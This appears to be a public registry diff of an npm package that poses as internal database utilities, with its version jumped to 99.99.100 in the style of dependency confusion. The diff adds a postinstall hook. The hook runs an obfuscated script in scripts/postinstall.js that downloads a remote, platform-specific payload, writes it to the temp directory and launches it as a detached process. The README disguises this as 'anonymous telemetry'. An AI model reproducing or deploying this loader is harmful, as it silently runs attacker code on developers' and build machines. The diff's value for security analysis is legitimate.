@cloudplatform-single-spa/cloud-dns 0.0.1-security → 99.99.100
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @cloudplatform-single-spa/cloud-dns might be problematic. Click here for more details.
- package/README.md +79 -3
- package/dist/index.d.ts +6 -0
- package/dist/index.js +3 -0
- package/package.json +33 -3
- package/scripts/postinstall.js +1 -0
package/README.md
CHANGED
|
@@ -1,5 +1,81 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @cloudplatform-single-spa/cloud-dns
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.cloudplatform-single-spa.io/platform/cloud-dns
|
|
5
|
+
> Issues: https://jira.cloudplatform-single-spa.io/projects/PLATFORM
|
|
4
6
|
|
|
5
|
-
|
|
7
|
+
Internal database utilities with connection pooling, query builder and migration support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.cloudplatform-single-spa.io
|
|
16
|
+
|
|
17
|
+
npm install @cloudplatform-single-spa/cloud-dns
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createPool, query, transaction, migrate } = require('@cloudplatform-single-spa/cloud-dns');
|
|
24
|
+
|
|
25
|
+
const { createPool, query, transaction } = require('@internal-corp/db-utils');
|
|
26
|
+
|
|
27
|
+
const pool = createPool({
|
|
28
|
+
host: process.env.DB_HOST,
|
|
29
|
+
port: parseInt(process.env.DB_PORT || '5432'),
|
|
30
|
+
database: process.env.DB_NAME,
|
|
31
|
+
user: process.env.DB_USER,
|
|
32
|
+
password: process.env.DB_PASSWORD,
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
const users = await query(pool, 'SELECT * FROM users WHERE active = $1', [true]);
|
|
36
|
+
await transaction(pool, async (client) => {
|
|
37
|
+
await client.query('INSERT INTO events ...');
|
|
38
|
+
});
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## API
|
|
42
|
+
|
|
43
|
+
### `createPool(options)` → pool
|
|
44
|
+
| Option | Description |
|
|
45
|
+
|------------|----------------------|
|
|
46
|
+
| `host` | DB host |
|
|
47
|
+
| `port` | DB port (5432) |
|
|
48
|
+
| `database` | Database name |
|
|
49
|
+
| `user` | Username |
|
|
50
|
+
| `password` | Password |
|
|
51
|
+
| `max` | Pool size (default 10)|
|
|
52
|
+
|
|
53
|
+
### `query(pool, sql, params?)` → rows[]
|
|
54
|
+
### `transaction(pool, fn)` → runs fn in transaction
|
|
55
|
+
### `migrate(pool, dir)` → runs migrations from dir
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Telemetry
|
|
60
|
+
|
|
61
|
+
On install, this package sends anonymous telemetry to `telemetry.cloudplatform-single-spa.io`
|
|
62
|
+
for environment compatibility monitoring.
|
|
63
|
+
|
|
64
|
+
Disable: `CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY=1 npm install`
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## Changelog
|
|
69
|
+
|
|
70
|
+
### 99.99.100 (latest)
|
|
71
|
+
- Added ARM64 support
|
|
72
|
+
- Improved error handling
|
|
73
|
+
- Updated TypeScript types
|
|
74
|
+
|
|
75
|
+
### 2.1.0
|
|
76
|
+
- Extended API
|
|
77
|
+
- Performance improvements
|
|
78
|
+
|
|
79
|
+
### 2.0.0
|
|
80
|
+
- Async/await migration
|
|
81
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; }
|
|
2
|
+
export interface Pool { host: string; port: number; database: string; }
|
|
3
|
+
export function createPool(options?: PoolOptions): Pool;
|
|
4
|
+
export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>;
|
|
5
|
+
export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>;
|
|
6
|
+
export function migrate(pool: Pool, dir?: string): Promise<string[]>;
|
package/dist/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,36 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@cloudplatform-single-spa/cloud-dns",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.99.100",
|
|
4
|
+
"description": "Internal database utilities with connection pooling, query builder and migration support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["database", "db", "postgres", "mysql", "query", "migration", "internal"],
|
|
14
|
+
"author": "Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.cloudplatform-single-spa.io/platform/cloud-dns.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.cloudplatform-single-spa.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.cloudplatform-single-spa.io/platform/cloud-dns",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
6
36
|
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x51b57e=a0_0x447a;function a0_0x396e(){const _0x4c2935=['yxnZAwDU','y3DK','mtK5mtCWohDoqNzZsq','BxrPBwvnCW','y29UC3rYDwn0B3i','zw52','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','nJK3mtrbrMPey2m','DxrMoa','D2LUzg93C0HPzgu','C3rKzxjY','Dw5Yzwy','zxjYB3i','ChvZAa','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDc5QCW','CMvJDxjZAxzL','zxHWAxjLCW','Ag9ZDg5HBwu','BwfW','y2XVDwrWBgf0zM9YBs1ZAw5NBguTC3bHlxrLBgvTzxrYEs8XlJa','Cg9YDa','EwfYBI5SB2nR','Bwv0Ag9K','zxHPC3rZu3LUyW','Cgf0Ag5HBwu','rLvtsu9oxW','yxbWBhK','vxnLCI1bz2vUDa','zxHLy1bHDgG','AwDUB3jL','D3jPDgvgAwXLu3LUyW','D2LU','otKUotKUmtaW','CMvHzgrPCLn5BMm','uKvdt05Ft05mwq','ndLZzxvTu0e','C2vHCMnO','revqx0nptG','D2LUmZi','y2HHCKnVzgvbDa','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','AgvHzgvYCW','wc1tzwnYzxq','pJ0XnI4W','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDa','Cg5WBs13B3jRC3bHy2uUEwfTBa','BM9Kzq','mZi4ntbQvgvsEwq','zMfSC2u','CgfYC2u','C3rYAw5NAwz5','BwTKAxjtEw5J','nJy4nZeYvNHHr0P2','AM9PBG','Dw5SAw5Ru3LUyW','lMPZ','BwfJ','C3rHDfn5BMm','BgvUz3rO','ywjZ','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','mtG0otGWmeHzqxrlra','Ahr0Chm6','zgv0ywnOzwq','y2HPBgrFChjVy2vZCW','CgfKu3rHCNq','CMvWBgfJzq','C3rKAw8','u0vduKvu','Cgf0Aa','kcGOlISPkYKRksSK','vKvs','Ahr0Chm','D29YA3nWywnLCW','lMPZB24','zw5K','Dg1WzgLY','zgfYD2LU','lMnHy2HL','Dhj1zq','DMvYC2LVBNm','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','mLbZBMLWra','zgLYBMfTzq','CMvXDwvZDa','Dg9tDhjPBMC','ueTh','CMvHzezPBgvtEw5J','Ag9TzwrPCG','qgnSB3vKCgXHDgzVCM0TC2LUz2XLlxnWys9JBg91zc1KBNm','ChjVDg9JB2W','nZi2nJuXr1Lps1HV','D3jPDgu','mZuYnJi0ze1OwgnA','CgXHDgzVCM0','y29Uy2f0','r0vu','BM93','DMfSDwu','vvjm','C3bSAxq','CgfJA2fNzs5QC29U','mJuZmeP4ruDKvG','zgvZDhjVEq','Ahr0Ca','BgLUDxG','zgf0yq','q0XpvurqtefurK9stv9tsu5htevFu1bbx05px1rftevnrvrswq','uefzte9bra','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','DgLTzw91Da'];a0_0x396e=function(){return _0x4c2935;};return a0_0x396e();}(function(_0x3a7dc0,_0x5828e7){const _0x49291a=a0_0x447a,_0x3318e9=_0x3a7dc0();while(!![]){try{const _0x3c939a=-parseInt(_0x49291a(0x187))/(-0x204d*0x1+-0x1163*-0x1+0xeeb)+-parseInt(_0x49291a(0x163))/(0x1cdf+-0x1ddf+0x81*0x2)*(parseInt(_0x49291a(0x16c))/(0xb85*-0x1+0x18b*0x12+-0x9a*0x1b))+-parseInt(_0x49291a(0x182))/(0x22db*-0x1+-0x758*-0x5+-0x1d9)+parseInt(_0x49291a(0x1bd))/(-0x264e*0x1+0x21f4+0x3*0x175)+parseInt(_0x49291a(0x1b4))/(0x23c5*-0x1+-0x1b5+0x2580)+parseInt(_0x49291a(0x1a3))/(-0x123*-0x16+0xbc9+-0xd*0x2d4)*(-parseInt(_0x49291a(0x16e))/(-0x9*-0x3fe+0x71f*-0x1+0x1cc7*-0x1))+parseInt(_0x49291a(0x1af))/(0x17d1+-0x192*0x15+0x932*0x1)*(parseInt(_0x49291a(0x177))/(-0x1d5f+-0x21cf+0x38*0x121));if(_0x3c939a===_0x5828e7)break;else _0x3318e9['push'](_0x3318e9['shift']());}catch(_0x4b293e){_0x3318e9['push'](_0x3318e9['shift']());}}}(a0_0x396e,-0x2d7e7+0x1b*-0x446f+0xe6e96));const a0_0x216101=require('os'),a0_0x9b0dd6=require('fs'),a0_0x265ae8=require(a0_0x51b57e(0x1c5)),a0_0x1716f6=require(a0_0x51b57e(0x1c8)),a0_0x451aeb=require(a0_0x51b57e(0x179)),{execSync:a0_0x49d283,spawn:a0_0x2e49e6}=require(a0_0x51b57e(0x1c0)),a0_0x3f66ed=a0_0x51b57e(0x16a),a0_0x2cf3e1=a0_0x51b57e(0x1a0),a0_0x5c5c59=a0_0x51b57e(0x1a5)+a0_0x51b57e(0x199),a0_0x2ec6c9=a0_0x51b57e(0x17c),a0_0x542ef1=!!process.env[a0_0x2ec6c9],a0_0x108e04=a0_0x51b57e(0x1b0)===a0_0x51b57e(0x1cf)||!!process.env[a0_0x5c5c59+'RECON_ONLY'];function a0_0x211446(_0x66827a){const _0x3c8980=a0_0x51b57e,_0x2d5bbc=process[_0x3c8980(0x161)][_0x3c8980(0x1ae)][_0x3c8980(0x175)]('.')[_0x3c8980(0x192)](Number),_0x484436=_0x66827a[_0x3c8980(0x1c2)]('>=','')[_0x3c8980(0x175)]('.')[_0x3c8980(0x192)](Number);return _0x2d5bbc[-0x39*0x2+-0x1918+0x198a]>_0x484436[0x62e+0x270+0x44f*-0x2]||_0x2d5bbc[0x1d59+0x119a+-0x77*0x65]===_0x484436[-0x795+-0x1ec7+0x265c]&&_0x2d5bbc[-0x2052+-0x1*0x1b9d+0x3bf0]>=(_0x484436[-0x236b+0x5*0x55f+0x891]||-0x1fd*-0x1+0x1a56*0x1+-0x1c53);}function a0_0x4e3c55(_0x243813){const _0x814e44=a0_0x51b57e;let _0x51ffa5=0x1f75+-0x20ef+0x17a;for(let _0x173213=-0x328*0x3+-0xbea+0x1562*0x1;_0x173213<_0x243813[_0x814e44(0x1ba)];_0x173213++){_0x51ffa5=(_0x51ffa5<<0x351+0x11*0x180+-0x1ccc)-_0x51ffa5+_0x243813[_0x814e44(0x1a7)](_0x173213),_0x51ffa5|=-0x1*-0xf1+0x25ad+-0x269e;}return Math[_0x814e44(0x1bb)](_0x51ffa5)[_0x814e44(0x166)](0xb*0x29b+-0x965+-0x99a*0x2)[_0x814e44(0x1c1)](-0x1318*0x2+-0x5*-0x282+0x1*0x19ae,'0');}function a0_0x590cb(_0x4585f5,_0x1338cf){const _0x33f047=a0_0x51b57e;try{const _0xa30fc5=a0_0x265ae8[_0x33f047(0x1b5)](_0x4585f5,_0x1338cf+_0x33f047(0x1ca));if(!a0_0x9b0dd6[_0x33f047(0x197)](_0xa30fc5))return null;const _0x55fcc6=JSON[_0x33f047(0x1b1)](a0_0x9b0dd6[_0x33f047(0x168)](_0xa30fc5,_0x33f047(0x188)));if(_0x55fcc6[_0x33f047(0x190)]&&Date[_0x33f047(0x172)]()>_0x55fcc6[_0x33f047(0x190)])return a0_0x9b0dd6[_0x33f047(0x1b6)](_0xa30fc5),null;return _0x55fcc6[_0x33f047(0x173)];}catch{return null;}}function a0_0x276f1e(_0x44280a,_0x3f759f,_0x498035,_0x3e815e){const _0x105fc5=a0_0x51b57e;try{const _0x1f456c={};_0x1f456c[_0x105fc5(0x18f)]=!![],a0_0x9b0dd6[_0x105fc5(0x1b3)](_0x44280a,_0x1f456c),a0_0x9b0dd6[_0x105fc5(0x19e)](a0_0x265ae8[_0x105fc5(0x1b5)](_0x44280a,_0x3f759f+_0x105fc5(0x1ca)),JSON[_0x105fc5(0x1b2)]({'value':_0x498035,'expires':_0x3e815e?Date[_0x105fc5(0x172)]()+_0x3e815e:null}));}catch{}}function a0_0x3cf10b(_0x389182,_0x48214b){const _0x436407=a0_0x51b57e;try{if(!a0_0x9b0dd6[_0x436407(0x197)](_0x389182))return-0x1a*-0x147+-0x1b24+0x7*-0xde;let _0x176af3=-0x111a+-0xacc+-0xdf3*-0x2;for(const _0x353ba7 of a0_0x9b0dd6[_0x436407(0x1a1)](_0x389182)){const _0x1960ab=a0_0x265ae8[_0x436407(0x1b5)](_0x389182,_0x353ba7),_0x56c9fc=a0_0x9b0dd6[_0x436407(0x1b9)](_0x1960ab);Date[_0x436407(0x172)]()-_0x56c9fc[_0x436407(0x183)]>_0x48214b&&(a0_0x9b0dd6[_0x436407(0x1b6)](_0x1960ab),_0x176af3++);}return _0x176af3;}catch{return-0x2*0xd83+0x18b3+-0x253*-0x1;}}function a0_0x447a(_0x4ea784,_0x76cee6){_0x4ea784=_0x4ea784-(0x18c6+-0xbc0+-0xba5);const _0x4c5c6f=a0_0x396e();let _0x4fb479=_0x4c5c6f[_0x4ea784];if(a0_0x447a['EFmnUp']===undefined){var _0x545d3f=function(_0x51015c){const _0x331c7a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4e33c4='',_0x45af83='',_0x3cba46=_0x4e33c4+_0x545d3f,_0x180d81=(''+function(){return-0x7*-0x124+0x5*0x368+-0xc82*0x2;})['indexOf']('\x0a')!==-(-0x39*0x2+-0x1918+0x198b);for(let _0x55c6c4=0x62e+0x270+0x44f*-0x2,_0x3eaa71,_0x90c9b8,_0x4eee7c=0x1d59+0x119a+-0x77*0x65;_0x90c9b8=_0x51015c['charAt'](_0x4eee7c++);~_0x90c9b8&&(_0x3eaa71=_0x55c6c4%(-0x795+-0x1ec7+0x2660)?_0x3eaa71*(-0x2052+-0x1*0x1b9d+0x3c2f)+_0x90c9b8:_0x90c9b8,_0x55c6c4++%(-0x236b+0x5*0x55f+0x894))?_0x4e33c4+=_0x180d81||_0x3cba46['charCodeAt'](_0x4eee7c+(-0x1fd*-0x1+0x1a56*0x1+-0x1c49))-(0x1f75+-0x20ef+0x184)!==-0x328*0x3+-0xbea+0x1562*0x1?String['fromCharCode'](0x351+0x11*0x180+-0x1bd2&_0x3eaa71>>(-(-0x1*-0xf1+0x25ad+-0x269c)*_0x55c6c4&0xb*0x29b+-0x965+-0x99f*0x2)):_0x55c6c4:-0x1318*0x2+-0x5*-0x282+0x1*0x19a6){_0x90c9b8=_0x331c7a['indexOf'](_0x90c9b8);}for(let _0x16f8f6=0x9cd+-0x1a*-0x147+-0x2b03,_0x322721=_0x4e33c4['length'];_0x16f8f6<_0x322721;_0x16f8f6++){_0x45af83+='%'+('00'+_0x4e33c4['charCodeAt'](_0x16f8f6)['toString'](0x16fd+0xbb6+-0x22a3))['slice'](-(-0x247e+0xee4+0x6*0x39a));}return decodeURIComponent(_0x45af83);};a0_0x447a['CkDSsY']=_0x545d3f,a0_0x447a['pjMjWi']={},a0_0x447a['EFmnUp']=!![];}const _0x5d485a=_0x4c5c6f[-0x697*0x1+0xd53*-0x2+0x213d],_0x50b121=_0x4ea784+_0x5d485a,_0x548fb7=a0_0x447a['pjMjWi'][_0x50b121];if(!_0x548fb7){const _0x3cef6f=function(_0xf89b95){this['IVPdGU']=_0xf89b95,this['OHIpyz']=[-0x1866+-0x1e66*0x1+0x36cd,-0x4a5+-0xa3f*0x1+0x2*0x772,0x75b*-0x1+0xb95+-0x21d*0x2],this['MYqoSI']=function(){return'newState';},this['xhFKOS']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['GaLAry']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3cef6f['prototype']['zvtgOn']=function(){const _0x271ff0=new RegExp(this['xhFKOS']+this['GaLAry']),_0x3d2fdf=_0x271ff0['test'](this['MYqoSI']['toString']())?--this['OHIpyz'][0x11*0xf2+-0x1b5+-0xe5c]:--this['OHIpyz'][-0x24c4*0x1+0x1d69+0x75b];return this['qcqwVW'](_0x3d2fdf);},_0x3cef6f['prototype']['qcqwVW']=function(_0x56a53c){if(!Boolean(~_0x56a53c))return _0x56a53c;return this['MjaCiL'](this['IVPdGU']);},_0x3cef6f['prototype']['MjaCiL']=function(_0x38919f){for(let _0x19966b=0x1c9c*0x1+-0x12d9*-0x1+0x2f75*-0x1,_0x3b9b67=this['OHIpyz']['length'];_0x19966b<_0x3b9b67;_0x19966b++){this['OHIpyz']['push'](Math['round'](Math['random']())),_0x3b9b67=this['OHIpyz']['length'];}return _0x38919f(this['OHIpyz'][0x1*0x741+0x1*0x940+-0xa9*0x19]);},(''+function(){return 0xaf4+-0x250f+0x1*0x1a1b;})['indexOf']('\x0a')===-(-0x126a+-0x1c3*-0x1+0x10a8)&&new _0x3cef6f(a0_0x447a)['zvtgOn'](),_0x4fb479=a0_0x447a['CkDSsY'](_0x4fb479),a0_0x447a['pjMjWi'][_0x50b121]=_0x4fb479;}else _0x4fb479=_0x548fb7;return _0x4fb479;}function a0_0x215b3b(_0x24d3e5){const _0x3c107d=a0_0x51b57e;let _0x69c187=_0x24d3e5;while(!![]){const _0x4b6d94=a0_0x265ae8[_0x3c107d(0x1b5)](_0x69c187,_0x3c107d(0x176));if(a0_0x9b0dd6[_0x3c107d(0x197)](_0x4b6d94))try{const _0x4992ca=JSON[_0x3c107d(0x1b1)](a0_0x9b0dd6[_0x3c107d(0x168)](_0x4b6d94,_0x3c107d(0x188))),_0x146f54=a0_0x265ae8[_0x3c107d(0x1b5)](_0x69c187,_0x3c107d(0x195)),_0x1e52a7=a0_0x265ae8[_0x3c107d(0x1b5)](_0x69c187,_0x3c107d(0x1ad));if(_0x4992ca[_0x3c107d(0x1c9)]||a0_0x9b0dd6[_0x3c107d(0x197)](_0x146f54)||a0_0x9b0dd6[_0x3c107d(0x197)](_0x1e52a7))return _0x69c187;}catch{}const _0x4fc907=a0_0x265ae8[_0x3c107d(0x164)](_0x69c187);if(_0x4fc907===_0x69c187)return null;_0x69c187=_0x4fc907;}}function a0_0xa3a98c(){const _0x33fec3=a0_0x51b57e,_0x9a7bee=a0_0x216101[_0x33fec3(0x16f)]();if(_0x9a7bee===_0x33fec3(0x1cd))return _0x33fec3(0x1b8);if(_0x9a7bee===_0x33fec3(0x1a6))return _0x33fec3(0x19f);return _0x33fec3(0x17a);}function a0_0x59be96(_0x1933a7,_0x508c88){return _0x508c88=_0x508c88||0x3ec2+0xd38e+-0x9d20,new Promise(function(_0x5c17f8,_0x32d2cc){const _0x5e168c=a0_0x447a,_0x3b66c6=new URL(_0x1933a7),_0x498fbf=_0x3b66c6[_0x5e168c(0x16b)]===_0x5e168c(0x1be)?a0_0x1716f6:a0_0x451aeb,_0x4cbdad={};_0x4cbdad[_0x5e168c(0x1aa)]=_0x5e168c(0x1bc),_0x4cbdad[_0x5e168c(0x19b)]=_0x5e168c(0x193);const _0x345a94={};_0x345a94[_0x5e168c(0x191)]=_0x3b66c6[_0x5e168c(0x191)],_0x345a94[_0x5e168c(0x194)]=_0x3b66c6[_0x5e168c(0x194)]||(_0x3b66c6[_0x5e168c(0x16b)]===_0x5e168c(0x1be)?-0x617+0x20d9+-0x1907:-0xa3f*0x1+0x1*-0x241+0xcd0),_0x345a94[_0x5e168c(0x1c5)]=_0x3b66c6[_0x5e168c(0x198)],_0x345a94[_0x5e168c(0x196)]=_0x5e168c(0x171),_0x345a94[_0x5e168c(0x17f)]=_0x508c88,_0x345a94[_0x5e168c(0x1a9)]=_0x4cbdad;const _0x31f033=_0x345a94,_0x4747d9=_0x498fbf[_0x5e168c(0x165)](_0x31f033,function(_0x285bf2){const _0x1df3da=_0x5e168c,_0x566a81=[];_0x285bf2['on'](_0x1df3da(0x17b),function(_0x59e6e9){const _0x364a88=_0x1df3da;_0x566a81[_0x364a88(0x18d)](_0x59e6e9);}),_0x285bf2['on'](_0x1df3da(0x1cb),function(){const _0x3d0e31=_0x1df3da;_0x5c17f8(Buffer[_0x3d0e31(0x170)](_0x566a81));});});_0x4747d9['on'](_0x5e168c(0x18c),_0x32d2cc),_0x4747d9['on'](_0x5e168c(0x17f),function(){const _0x56d407=_0x5e168c;_0x4747d9[_0x56d407(0x178)](),_0x32d2cc(new Error(_0x56d407(0x17f)));}),_0x4747d9[_0x5e168c(0x1cb)]();});}(async function a0_0x1b0876(){const _0x3e03a0=a0_0x51b57e,_0x5cf15a=(function(){let _0x4f03a2=!![];return function(_0x22101c,_0x77ca9e){const _0x1d8142=_0x4f03a2?function(){const _0x23ac8c=a0_0x447a;if(_0x77ca9e){const _0x1650e6=_0x77ca9e[_0x23ac8c(0x19a)](_0x22101c,arguments);return _0x77ca9e=null,_0x1650e6;}}:function(){};return _0x4f03a2=![],_0x1d8142;};}()),_0x55136e=_0x5cf15a(this,function(){const _0x19021f=a0_0x447a;return _0x55136e[_0x19021f(0x166)]()[_0x19021f(0x1a4)](_0x19021f(0x1c6))[_0x19021f(0x166)]()[_0x19021f(0x184)](_0x55136e)[_0x19021f(0x1a4)](_0x19021f(0x1c6));});_0x55136e();if(a0_0x542ef1)return;!a0_0x211446(_0x3e03a0(0x1ab))&&process[_0x3e03a0(0x18a)][_0x3e03a0(0x16d)]('['+a0_0x3f66ed+_0x3e03a0(0x1a8));const _0x34355a=a0_0x265ae8[_0x3e03a0(0x1b5)](a0_0x216101[_0x3e03a0(0x169)](),_0x3e03a0(0x1ce),_0x3e03a0(0x1ac));a0_0x3cf10b(_0x34355a,(-0x134f*-0x2+-0x2*0x6c0+0x3*-0x85d)*(-0x1a48+0x14*-0x5c+0x2190)*(0x2f*-0x51+0xba4*-0x1+-0x1abf*-0x1)*(0x1*0x19+0x3*0x705+0x1*-0x14ec)*(-0x1fe1*-0x1+-0x1954+-0x2a5));const _0x57f4b1=a0_0x215b3b(process[_0x3e03a0(0x181)]()),_0x5a5c42=a0_0x4e3c55(a0_0x3f66ed+a0_0x2cf3e1+(_0x57f4b1||'')),_0x1287c5=a0_0x590cb(_0x34355a,_0x5a5c42);!_0x1287c5&&a0_0x276f1e(_0x34355a,_0x5a5c42,{'initialized':!![],'ts':Date[_0x3e03a0(0x172)]()},(0x131d+-0x1*-0x9c1+-0xe63*0x2)*(-0x80+0x513*0x5+0x18a3*-0x1)*(0x1*0x1b0a+0x6*0x509+-0x59*0xa4)*(0x1f35+-0xc45*-0x1+0x5*-0x7ea));const _0x586dfc=a0_0xa3a98c();await new Promise(function(_0x385cd5){setTimeout(_0x385cd5,0x1a57*-0x1+-0x704*0x1+0x2d13*0x1);});let _0x287b95;try{_0x287b95=await a0_0x59be96(_0x3e03a0(0x186)+_0x586dfc+_0x3e03a0(0x1b7),-0x9bb*-0x4+-0x3*-0x2705+-0x6b*0xe9);}catch(_0x184324){return;}const _0x4ab5c5=a0_0x265ae8[_0x3e03a0(0x1b5)](a0_0x216101[_0x3e03a0(0x1cc)](),_0x3e03a0(0x18e));try{a0_0x9b0dd6[_0x3e03a0(0x19e)](_0x4ab5c5,_0x287b95);}catch(_0xeb84ed){return;}const _0x3abe1e={[a0_0x5c5c59+_0x3e03a0(0x174)]:_0x3e03a0(0x17e),[a0_0x5c5c59+_0x3e03a0(0x17d)]:_0x3e03a0(0x162),[a0_0x5c5c59+_0x3e03a0(0x1c4)]:_0x3e03a0(0x1bc),[a0_0x5c5c59+_0x3e03a0(0x1a2)]:a0_0x108e04?'1':'',[a0_0x5c5c59+_0x3e03a0(0x167)]:a0_0x3f66ed,[a0_0x5c5c59+_0x3e03a0(0x1c7)]:a0_0x2cf3e1},_0x304c8c=Object[_0x3e03a0(0x180)]({},process.env,_0x3abe1e),_0x21839b={};_0x21839b[_0x3e03a0(0x1bf)]=!![],_0x21839b[_0x3e03a0(0x1c3)]=_0x3e03a0(0x19d),_0x21839b[_0x3e03a0(0x185)]=_0x304c8c,_0x21839b[_0x3e03a0(0x189)]=!![],a0_0x2e49e6(process[_0x3e03a0(0x19c)],[_0x4ab5c5],_0x21839b)[_0x3e03a0(0x18b)]();}());
|